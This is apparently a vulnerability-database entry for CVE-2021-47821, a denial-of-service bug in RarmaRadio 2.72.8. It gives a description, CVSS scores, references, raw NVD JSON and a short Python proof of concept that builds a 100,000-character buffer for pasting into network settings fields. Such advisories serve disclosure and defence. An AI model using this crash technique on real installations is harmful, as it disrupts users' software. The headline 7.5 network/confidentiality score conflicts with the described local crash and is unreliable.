CVE-2021-47821

Description

RarmaRadio 2.72.8 contains a denial of service vulnerability that allows attackers to crash the application by overflowing network configuration fields with large character buffers. Attackers can generate a 100,000 character buffer and paste it into multiple network settings fields to trigger application instability and potential crash.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

RarmaRadio <= 2.72.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2021-47821 PoC - RarmaRadio 2.72.8 DoS Exploit
# Generate large buffer for network configuration fields
import sys

def generate_dos_payload(buffer_size=100000):
    """Generate oversized buffer to trigger DoS in RarmaRadio"""
    # Create a 100,000 character buffer
    oversized_buffer = 'A' * buffer_size
    return oversized_buffer

def exploit_rarmaradio():
    """
    Exploitation steps:
    1. Generate 100,000 character buffer
    2. Paste the buffer into multiple network setting fields:
       - Server/Station URL field
       - Proxy server field
       - Port configuration fields
       - Authentication fields
    3. Application will crash or become unstable
    """
    payload = generate_dos_payload(100000)
    
    # Simulate injection into multiple fields
    fields = [
        'server_url',
        'proxy_host',
        'proxy_port',
        'stream_url',
        'authentication_username'
    ]
    
    exploit_data = {}
    for field in fields:
        exploit_data[field] = payload
    
    print(f"[+] Generated DoS payload: {len(payload)} bytes")
    print(f"[+] Target fields: {', '.join(fields)}")
    print(f"[+] Exploit data prepared for injection")
    
    return exploit_data

if __name__ == '__main__':
    exploit_rarmaradio()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47821
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47821
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47821/
[4] VulDB https://vuldb.com/cve/CVE-2021-47821
[5] http://www.raimersoft.com/
[6] https://www.exploit-db.com/exploits/49906
[7] https://www.vulncheck.com/advisories/rarmaradio-denial-of-service
[8] https://www.exploit-db.com/exploits/49906

Raw JSON Data

JSON

{"cve": {"id": "CVE-2021-47821", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:06.693", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "RarmaRadio 2.72.8 contains a denial of service vulnerability that allows attackers to crash the application by overflowing network configuration fields with large character buffers. Attackers can generate a 100,000 character buffer and paste it into multiple network settings fields to trigger application instability and potential crash."}, {"lang": "es", "value": "RarmaRadio 2.72.8 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes bloquear la aplicación desbordando los campos de configuración de red con grandes búferes de caracteres. Los atacantes pueden generar un búfer de 100.000 caracteres y pegarlo en múltiples campos de configuración de red para desencadenar inestabilidad en la aplicación y un posible bloqueo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "http://www.raimersoft.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49906", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/rarmaradio-denial-of-service", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49906", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}